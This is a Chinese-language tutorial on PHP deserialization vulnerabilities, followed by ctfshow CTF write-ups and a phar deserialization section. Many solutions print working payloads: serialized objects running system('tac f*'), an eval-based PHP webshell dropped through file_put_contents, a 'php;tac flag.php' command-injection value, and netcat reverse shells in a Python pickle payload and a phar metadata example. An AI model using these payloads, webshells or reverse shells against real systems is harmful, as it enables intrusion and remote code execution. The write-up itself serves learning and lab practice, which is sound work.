PHP反序列化漏洞

漏洞利用:

反序列化漏洞(Deserialization Vulnerability)是一种安全漏洞,存在于应用程序中对数据进行反序列化操作的过程中。当应用程序接收到外部传递的恶意序列化数据并进行反序列化时,攻击者可以利用这个漏洞执行未经授权的代码或导致应用程序受到攻击。

原理:

既然是反序列化的话,首先要了解什么是序列化和反序列化以及他们的区别

序列化:就是将对象转化为字符串进行存储 class S{`    `public $test="pikachu";``}``   ``$s=new S();     //创建一个对象``   ``serialize($s);     //把这个对象进行序列化``   ``序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}`    `O:代表object`    `1:表示该对象的类名的字节数(即类名长度为1)`    `S:对象的名称`    `1:表示该对象有 1 个属性。`    `s:数据类型`    `4:变量名称的长度`    `test:变量名称`    `s:数据类型`    `7:变量值的长度`    `pikachu:变量值
反序列化:就是将字符串转化为对象 $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");``   ``echo $u->test; //得到的结果为pikachu (注意是echo)反序列化使用 unserialize () 函数将字符串转换为对象,序列化使用 serialize () 函数将对象转化为字符串; 反序列化不触发类的成员方法,需要调用方法后才能触发
反序列化漏洞:就是在反序列化过程中,如果恶意者可以对将要转换的字符串进行操控,从而达到任意代码执行的操作

而反序列化漏洞的主要原理是应用程序在反序列化过程中没有对传入的数据进行足够的验证和过滤,导致攻击者可以利用构造的恶意序列化数据来执行任意代码或远程代码执行攻击。

PHP面向对象的基础:

1.过程:

面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数;

2.对象:

面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象;

对象的三个特征:对象的行为,对象的形态,对象的表示

3.类的定义:

类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起;对象是具有类类型的变量,是对类的实例;

类的定义包括定义类名、定义成员属性、定义成员方法; 内部构成:成员属性(变量)+成员方法(函数)

4.继承:

继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系;

    在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容;

父类:一个类被其它类继承,可将该类成为父类,或基类,超类;

子类:一个类继承其他类称为子类,也可称为派生类;

5.权限修饰符:

public:公共的,在类的内部、子类和类的外部中都可以被调用;
protected:受保护的,在类的内部和子类可以被调用,在类的外部不可调用;
private:私有的,只能在类的内部调用,在子类和类的外部不可调用;
举个栗子:class MyClass {
  //成员属性
  //方法
}
<?php
  class wea5e1{
  public $we='111';
  protected $a5='222';
  private $e1='333';
}
$a=new wea5e1();
$a -> we = '444';
echo serialize($a);
O:6:"wea5e1":3:{s:2:"we";s:3:"444";s:5:"%00*%00a5";s:3:"222";s:10:"%00wea5e1%00e1";s:3:"333";}
可以发现这个权限protected会在他的成员那里加上去%00*%00,而private则会加%00类的名字%00
一般格式:
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

6.类型描述

a   array 数组型
b   boolean 布尔型
d   double 浮点型
i   integer 整数型
o   common object 共同对象
r   object reference 对象引用
s   non-escaped binary string 非转义的二进制字符串
S   escaped binary string 转义的二进制字符串
C   custom object 自定义对象
O   class 对象
N   null 空
R   pointer reference 指针引用
U   unicode string Unicode 编码的字符串

魔术方法:

__construct() 构造函数,当一个对象创建时被调用。(实例化时) 
__destruct() 析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行  
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串  
__wakeup() 调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。  
__sleep() 调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误  
__call() 在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法  
__callStatic() 在静态上下文中调用不可访问的方法时触发  
__get() 用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行  
__set() 用于将数据写入不可访问的属性  
__isset() 在不可访问的属性上调用isset()或empty()触发  
__unset() 在不可访问的属性上使用unset()时触发  
__invoke() 当脚本尝试将对象调用为函数时触发

construct():

构造函数,当一个对象创建时被调用。(实例化时)举个栗子:
<?php
class wea5e1{
  public function __construct()
  {
      echo 'construct方法触发';
  }
}
$a = new wea5e1();
//construct 方法触发

destruct():

析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行 举个栗子:
<?php
class wea5e1{
  public function __destruct()
  {
      echo 'destruct方法触发';
  }
}
$a = new wea5e1(); //destruct方法触发

虽然这两个的方式差不多但是二者优先级不一样

举个栗子:
<?php
class wea5e1{
  public function __construct(){
      echo 'construct方法触发';
  }
  public function __destruct()
  {
      echo 'destruct方法触发';
  }
}
$a = new wea5e1(); //construct方法触发destruct方法触发

tostring():

当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串 举个栗子:
<?php
class me{
  public $name="wea5e1";
  public function __toString()
  {
      return '__toString方法已触发';
  }
}
$a = new me();
//echo $a;
echo "\n";
echo serialize($a);//O:2:"me":1:{s:4:"name";s:6:"wea5e1";}
取消echo $a的注释的话 //__toString方法已触发
O:2:"me":1:{s:4:"name";s:6:"wea5e1";}

wakeup():

调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。(这里有个绕过)举个栗子:
<?php
class me{
  public $name="wea5e1";
  public function __wakeup()
  {
      echo '__wakeup方法已触发';
  }
}
$a = new me();
$b = serialize($a);
echo $b;
$b = unserialize($b); //O:2:"me":1:{s:4:"name";s:6:"wea5e1";}__wakeup方法已触发

sleep():

调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。举个栗子:
<?php
class me {
public $name = "wea5e1";
public $age = 18;

public function __sleep() {
echo '__sleep方法已触发' . PHP_EOL;
return ['age']; // 指定要序列化的属性
}
}

$a = new me();
$b = serialize($a);
echo $b; //__sleep方法已触发
O:2:"me":1:{s:3:"age";i:18;}

call():

调用不可访问或不存在的方法时触发 举个栗子:
<?php
class wea5e1{
  public $name="wea5e1";
  public $age = "18";
  public function __call($name, $age){
      echo 'call触发';
      echo "\n";
  }
}
$a = new wea5e1();
$a -> sb();
echo serialize($a); //call触发
O:6:"wea5e1":2:{s:4:"name";s:6:"wea5e1";s:3:"age";s:2:"18";}

这里先讲下get和set(这三个可能经常搞混)

get():

调用不可访问或不存在的属性是触发 和上面要区分开来 举个栗子:
<?php
class wea5e1{
  public $name="wea5e1";
  public $age = "18";
  public function __get($name){
      echo 'get触发';
      echo "\n";
  }
}
$a = new wea5e1();
$a -> sb;
echo serialize($a);//get触发
O:6:"wea5e1":2:{s:4:"name";s:6:"wea5e1";s:3:"age";s:2:"18";}

set():

用于将数据写入不可访问的属性 举个栗子:
<?php
class wea5e1{
  public $name="wea5e1";
  public $age = "18";
  public function __set($name,$age){
      echo 'set触发';
      echo "\n";
  }
}
$a = new wea5e1();
$a -> sb = "nb";
echo serialize($a); //set触发
O:6:"wea5e1":2:{s:4:"name";s:6:"wea5e1";s:3:"age";s:2:"18";}

isset():

当使用 isset 或者是 empty 来检查不存在或者不可访问的属性时触发 
<?php
class wea5e1{
  public $name="wea5e1";
  public $age = "18";
  public function __isset($name){
      echo 'isset触发';
      echo "\n";
  }
}
$a = new wea5e1();
isset($a->sb);
echo serialize($a); //isset触发
O:6:"wea5e1":2:{s:4:"name";s:6:"wea5e1";s:3:"age";s:2:"18";}

unset():

使用 unset() 删除一个不存在或不可访问的属性时触发 举个栗子:
<?php
class wea5e1{
  public $name="wea5e1";
  public $age = "18";
  public function __unset($name){
      echo 'unset触发';
      echo "\n";
  }
}
$a = new wea5e1();
unset($a->sb);
echo serialize($a); //unset触发
O:6:"wea5e1":2:{s:4:"name";s:6:"wea5e1";s:3:"age";s:2:"18";}

invoke()

当将一个对象像函数一样调用时触发 举个栗子:
<?php
class wea5e1{
  public $name="wea5e1";
  public $age = "18";
  public function __invoke($name){
      echo 'invoke触发';
      echo "\n";
  }
}
$a = new wea5e1();
echo $a('s');
echo serialize($a); //invoke触发
O:6:"wea5e1":2:{s:4:"name";s:6:"wea5e1";s:3:"age";s:2:"18";}

show题速刷

web254

include('flag.php');

class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;

  public function checkVip(){
      return $this->isVip;
  }
  public function login($u,$p){
      if($this->username===$u&&$this->password===$p){
          $this->isVip=true;
      }
      return $this->isVip;
  }
  public function vipOneKeyGetFlag(){
      if($this->isVip){
          global $flag;
          echo "your flag is ".$flag;
      }else{
          echo "no vip, no flag";
      }
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
  $user = new ctfShowUser();
  if($user->login($username,$password)){
      if($user->checkVip()){
          $user->vipOneKeyGetFlag();
      }
  }else{
      echo "no vip,no flag";
  }
}
ez,满足isVip=true即可,get直接传username=xxxxxx&password=xxxxxx

web255

include('flag.php');

class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;

  public function checkVip(){
      return $this->isVip;
  }
  public function login($u,$p){
      return $this->username===$u&&$this->password===$p;
  }
  public function vipOneKeyGetFlag(){
      if($this->isVip){
          global $flag;
          echo "your flag is ".$flag;
      }else{
          echo "no vip, no flag";
      }
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);    
  if($user->login($username,$password)){
      if($user->checkVip()){
          $user->vipOneKeyGetFlag();
      }
  }else{
      echo "no vip,no flag";
  }
}
反序列化可以直接写出来(只要让isVip=true即可)(记得url编码):
GET username=xxxxxx&password=xxxxxx
COOKIE user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

include('flag.php');

class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;

  public function checkVip(){
      return $this->isVip;
  }
  public function login($u,$p){
      return $this->username===$u&&$this->password===$p;
  }
  public function vipOneKeyGetFlag(){
      if($this->isVip){
          global $flag;
          if($this->username!==$this->password){
                  echo "your flag is ".$flag;
            }
      }else{
          echo "no vip, no flag";
      }
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);    
  if($user->login($username,$password)){
      if($user->checkVip()){
          $user->vipOneKeyGetFlag();
      }
  }else{
      echo "no vip,no flag";
  }
}
<?php
class ctfShowUser{
public $isVip=true;
public $username='wea5e1';
public $password='hhhh';
}
$a = new ctfShowUser();
echo urlencode(serialize($a));//代码直接审计出来
GET: username=wea5e1&password=hhhh
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22wea5e1%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22hhhh%22%3B%7D

web257

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';

  public function __construct(){
      $this->class=new info();
  }
  public function login($u,$p){
      return $this->username===$u&&$this->password===$p;
  }
  public function __destruct(){
      $this->class->getInfo();
  }

}
class info{
  private $user='xxxxxx';
  public function getInfo(){
      return $this->user;
  }
}
class backDoor{
  private $code;
  public function getInfo(){
      eval($this->code);
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}
要出来flag,需要使用eval这个命令,eval->backDoor,那么如何要使用backDoor这个类呢,直接使用__construct这个魔术方法
<?php
class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';

  public function __construct(){
      $this->class=new backDoor();
  }

}

class backDoor{
  private $code="system('tac f*');";
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

web258

class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;
  public $class = 'info';

  public function __construct(){
      $this->class=new info();
  }
  public function login($u,$p){
      return $this->username===$u&&$this->password===$p;
  }
  public function __destruct(){
      $this->class->getInfo();
  }

}

class info{
  public $user='xxxxxx';
  public function getInfo(){
      return $this->user;
  }
}

class backDoor{
  public $code;
  public function getInfo(){
      eval($this->code);
  }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
  if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
      $user = unserialize($_COOKIE['user']);
  }
  $user->login($username,$password);
}
和前面的基本没有区别,就是多了一个waf
给前面的代码加个$a = serialize($a);
$a = str_replace('O:','O:+',$a);即可,记得echo urlencode($a);这个

web259

这个要使用ssrf,以后打

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
  echo $flag;
}
嗯,直接写反序列化就行
ctfshow=O:18:ctfshow_i_love_36D{},直接出来

web261

前置知识

在php7.4.0开始,如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法,则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。

<?php

highlight_file(__FILE__);

class ctfshowvip{
  public $username;
  public $password;
  public $code;

  public function __construct($u,$p){
      $this->username=$u;
      $this->password=$p;
  }
  public function __wakeup(){
      if($this->username!='' || $this->password!=''){
          die('error');
      }
  }
  public function __invoke(){
      eval($this->code);
  }

  public function __sleep(){
      $this->username='';
      $this->password='';
  }
  public function __unserialize($data){
      $this->username=$data['username'];
      $this->password=$data['password'];
      $this->code = $this->username.$this->password;
  }
  public function __destruct(){
      if($this->code==0x36d){
          file_put_contents($this->username, $this->password);
      }
  }
}
unserialize($_GET['vip']);
然后,incoke也无法使用,只能靠我们的file_put_contents大人了
$this->code = $this->username.$this->password; 弱类型比较,只要前面的是877就行
<?php
class ctfshowvip{
  public $username="877.php";
  public $password='<?php @eval($_POST[a]); ?>';
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
//vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A26%3A%22%3C%3Fphp+%40eval%28%24_POST%5Ba%5D%29%3B+%3F%3E%22%3B%7D
//然后访问877.php,RCE或者蚁剑连接

web262

ok,到重点了,字符串逃逸

class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
      $this->from = $f;
      $this->msg = $m;
      $this->to = $t;
  }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
  $msg = new message($f,$m,$t);
  $umsg = str_replace('fuck', 'loveU', serialize($msg));
  setcookie('msg',base64_encode($umsg));
  echo 'Your message has been sent';
}

highlight_file(__FILE__);
这里扫描出来了一个message.php
include('flag.php');

class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
      $this->from = $f;
      $this->msg = $m;
      $this->to = $t;
  }
}

if(isset($_COOKIE['msg'])){
  $msg = unserialize(base64_decode($_COOKIE['msg']));
  if($msg->token=='admin'){
      echo $flag;
  }
}
要求token的值为admin,这里就是要逃逸";s:5:"token";s:5:"admin";}
上面是fuck -> loveU 逃逸了一个字符串 27个字符,要27个fuck了
f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 然后访问message.php ok了

web263

进行扫描出来是www.zip,然后看

inc.php

class User{
  public $username;
  public $password;
  public $status;
  function __construct($username,$password){
      $this->username = $username;
      $this->password = $password;
  }
  function setStatus($s){
      $this->status=$s;
  }
  function __destruct(){
      file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
  }
}有的没有用了,就不复制了
接下来只能靠我们的file_put_contents大人了

index.php

if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>
嗯,base64解密,因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类 的 __destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件
加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 key 和 value 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了
<?php
class User
{
  public $username;
  public $password;
  function __construct()
  {
      $this->username = 'my6n.php';
      $this->password = '<?php system(\'tac flag.php\')?>';
  }
}
$u = new User();
echo urlencode(base64_encode('|' . serialize($u)));写命令
然后访问index.php页面,讲反序列化数据通过cookie里面的session传进去,然后访问check.php页面,记得改session里面的值为MQ==就是1(nnd,我说怎么没有出来),就是通过check.php包含inc.php,从而触发__destruct这个魔术方法,成功写入,从而形成RCE,成功出来flag

web264

与262的做法基本一样,不过cookie要加msg=a这个值

web265

include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
  public $token;
  public $password;

  public function __construct($t,$p){
      $this->token=$t;
      $this->password = $p;
  }
  public function login(){
      return $this->token===$this->password;
  }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
  echo $flag;
}

嗯,要让token的值===password的值,这里可以使用地址调用

<?php
class ctfshowAdmin{
  public $token;
  public $password;

  public function __construct(){
      $this->token='wea5e1';
      $this->password = & $this -> token;
  }
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));

web266

class ctfshow{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public function __construct($u,$p){
      $this->username=$u;
      $this->password=$p;
  }
  public function login(){
      return $this->username===$this->password;
  }
  public function __toString(){
      return $this->username;
  }
  public function __destruct(){
      global $flag;
      echo $flag;
  }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
  throw new Exception("Error $ctfshowo",1);
}

和靠前面的关基本差不多,就是过滤了ctfshow,大小写绕过就行,不过记得在bp里面直接POST传

<?php
class ctfshow{
  public $username='xxxxxx';
  public $password='xxxxxx';
}
$a = new ctfshow();
$a = serialize($a);
$a = str_replace('ctfshow','CTFSHOW',$a);
echo $a;

web267-web274

不会,晚点再写

web275

class filter{
  public $filename;
  public $filecontent;
  public $evilfile=false;

  public function __construct($f,$fn){
      $this->filename=$f;
      $this->filecontent=$fn;
  }
  public function checkevil(){
      if(preg_match('/php|\.\./i', $this->filename)){
          $this->evilfile=true;
      }
      if(preg_match('/flag/i', $this->filecontent)){
          $this->evilfile=true;
      }
      return $this->evilfile;
  }
  public function __destruct(){
      if($this->evilfile){
          system('rm '.$this->filename);
      }
  }
}

if(isset($_GET['fn'])){
  $content = file_get_contents('php://input');
  $f = new filter($_GET['fn'],$content);
  if($f->checkevil()===false){
      file_put_contents($_GET['fn'], $content);
      copy($_GET['fn'],md5(mt_rand()).'.txt');
      unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
      echo 'work done';
  }
   
}else{
  echo 'where is flag?';
}

where is flag?
这个没有看懂,system('rm '.$this->filename);直接在这里传就行
fn=php;tac flag.php

web277-web278

查看源代码,发现

/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)

是pickle,看了看发现是pickle反序列化,然后简单学了学,先不讲了,直接上payload,正好最近也是弄上了反弹shell,弄上去

import pickle
import base64

class cmd():
  def __reduce__(self):
      return (eval,("__import__('os').popen('nc xxx.xxx.xxx.xxx xxxx -e /bin/sh').read()",))
c = cmd()
a = pickle.dumps(c)
print(base64.b64encode(a))//x是关于你服务器的东西ip和端口
然后直接反弹shell,在finalshell工具上面进行RCE,ls + cat 'ls'直接出来

278和这个payload一样,他是直接过滤os.system的,关我nc什么事情

原生类

Error

hash

<?php
error_reporting(0);
class SYCLOVER {
  public $syc;
  public $lover;
  public function __wakeup(){
      if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
          if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
              eval($this->syc);
          } else {
              die("Try Hard !!");
          }

      }
  }
}
if (isset($_GET['great'])){
  unserialize($_GET['great']);
} else {
  highlight_file(__FILE__);
}

需要绕过两个hash强比较,且最终需要构造eval代码执行

显然正常方法是行不通的,而通过原生类可进行绕过

同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法

先简单看一下其输出

Error: payload in D:\phpstudy_pro\WWW\csysl_hash.php:2 Stack trace: #0 {main} Error: payload in D:\phpstudy_pro\WWW\csysl_hash.php:2 Stack trace: #0 {main} Exception: payload in D:\phpstudy_pro\WWW\csysl_hash.php:3 Stack trace: #0 {main} Exception: payload in D:\phpstudy_pro\WWW\csysl_hash.php:3 Stack trace: #0 {main}

可以发现,这两个原生类返回的信息除了行号一模一样,利用这点,我们可以尝试进行hash函数的绕过,需要注意的是,必须将两个传入的对象放到同一行

因此我们可以进行简单的测试,发现使用此方法可以绕过hash强(弱)函数比较

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
if ($a!=$b){
  echo '$a不等于$b'."\n";
}
if (md5($a)===md5($b)){
  echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
  echo "sha1值相等";
}
//$a不等于$b md5值相等 sha1值相等

发现绕过了,那么好,就知道接下来要干什么了

由于进行过滤了,在这里使用文件包含来做,执行<?=include ‘flag.txt’?>(本地测试) 这个命令

<?php
class SYCLOVER {
  public $syc;
  public $lover;
}
$str = "?><?=include~".urldecode("%99%93%9E%98%D1%8B%87%8B")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>//O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A23%3A%22%3F%3E%3C%3F%3Dinclude%7E%99%93%9E%98%D1%8B%87%8B%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A34%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Ccsysl_hash.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A7%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A23%3A%22%3F%3E%3C%3F%3Dinclude%7E%99%93%9E%98%D1%8B%87%8B%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A34%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Ccsysl_hash.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A7%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

Warning: Use of undefined constant ����ы�� – assumed ‘����ы��’ (this will throw an Error in a future version of PHP) in D:\phpstudy_pro\WWW\ysl_hash.php(8) : eval()’d code on line 1 flag{is_123}1 in D:\phpstudy_pro\WWW\csysl_hash.php:7 Stack trace: #0 {main} 出来flag啦

鹏云杯——EZ_ser

稍微魔改了一下

<?php

class DataBaseCon{
  public $user;
  public $hello;
  public function __invoke()
  {
      ($this->user)->lover($this->hello);
  }

}

class FileHandle{
  public $lover;
  public function __toString()
  {
      $func=$this->lover;
      $func();
      return "";
  }
}

class WafWaf{
  public $a;
  public $b;
  public $c;
  public $d;
  public function __call($func,$args)
  {
      if(!preg_match("/exec|system|shell_exec|popens|popen|curl_exec|curl_multi_exec|proc_open|proc_POST_status|readfile|unlink|dl|memory_POST_usage|passthru|pcntl_exec|mail|imap_open|imap_mail|putenv|ini_set|apache_setenv|symlink|linkopen_basedir|eval|assert|create_function|array_map|call_user_func_array|array_filter|uasort|preg_replace/i", $this->b)){
          $a=new $args[0]($this->b);
          $c=$this->c;
          $a->$c($this->d);
      }
      else {
          die("waf");
      }
  }
}


class WebInfo{
  public $web;
  public $syc;
  public $lover;
  public function __wakeup()
  {
      if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
      {

          eval($this->syc);
      }
  }
}

if (isset($_GET['pop'])){
  unserialize($_GET['pop']);
} else {
  highlight_file(__FILE__);
}
<?php

class DataBaseCon { public $user; public $hello; }
class FileHandle { public $lover; }
class WafWaf     { public $a; public $b; public $c; public $d; }
class WebInfo     { public $web; public $syc; public $lover; }

$waf = new WafWaf();
$waf->b = "highlight_file";
$waf->c = "invoke";
$waf->d = "flag";

$db = new DataBaseCon();
$db->user = $waf;
$db->hello = "ReflectionFunction"; // 反射函数类

$file = new FileHandle();
$file->lover = $db;

$web = new WebInfo();
$web->web   = $file;
$web->syc   = [0,2];
$web->lover = [0,1];

echo serialize($web);

Warning: Use of undefined constant ����ы�� – assumed ‘����ы��’ (this will throw an Error in a future version of PHP) in D:\phpstudy_pro\WWW\pyb_ser.php(51) : eval()’d code on line 1 flag{is_123}1 in D:\phpstrom-php\php代码\error.php:48 Stack trace: #0 {main}

waf绕过

phar反序列化

Phar 是 PHP 的压缩文档,是 PHP 中类似于 JAR 的一种打包文件,他可以把多个文件存放到同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句

要求是php版本大于5.3

分别分为四个部分

1、Stub      //Phar文件头
2、manifest //压缩文件信息
3、contents //压缩文件内容
4、signature //签名

Sutb

其中 Stub 是 Phar 的文件标识,也可以理解为它就是 Phar 的文件头 Stub 其实就是一个简单的 PHP 文件,对格式有要求的

xxx<?php xxx; __HALT_COMPILER();?> //在前面的内容是没有限制的但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件

manifest

用于存放文件的属性,权限等信息
这里也是反序列化的攻击点,因为这里以反序列化的形式存储了用户自定义的 meta-data

contents

用于存放 Phar 文件的内容

signature

签名(可选参数),位于文件末尾,具体格式

而在官方文档中看出,签证尾部的 01 代表 md5 加密,02 代表 sha1 加密,04 代表 sha256 加密,08 代表 sha512 加密

利用

因为 Phar 文件会以序列化的形式存储用户自定义的 meta-data,PHP 使用 phar_parse_metadata 在解析 meta 数据时,会调用 php_var_unserialize 进行反序列化操作

Phar反序列化不会调用 `weakup `等方法
可以在不调用`unserialize()`的情况下进行反序列化操作。

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,基本上能使用伪协议的文件操作函数都能触发反序列化。

利用条件:

1. phar文件要能够上传到服务器端。
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控,且`:`、`/`、`phar`等特殊字符没有被过滤
举个栗子
<?php
  class TestObject {
   
  }
   
  $phar = new Phar("phar.phar"); //后缀名必须为phar
  $phar->startBuffering();//开启缓冲区
  $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
   
  /*可选*/
  $o = new TestObject();
  $o -> data='busybox nc 111.111.111.111 4444 -e /bin/sh';
  $phar->setMetadata($o); //将自定义的meta-data存入manifest
   
  $phar->addFromString("test.txt", "test"); //添加要压缩的文件
  //签名自动计算
  $phar->stopBuffering();//关闭缓冲区
?>

比较重要的是,记得更改自己的 php.ini 将 phar.readonly 那一行设置为 Off,将前面的分号去掉,分号在这里起着注释符的作用

注:文件上传时,不必要.phar 后缀,文件上传不是难点!!(phar 伪协议自动解析成.phar 文件)

而利用该反序列化的的第一步就是上传phar文件

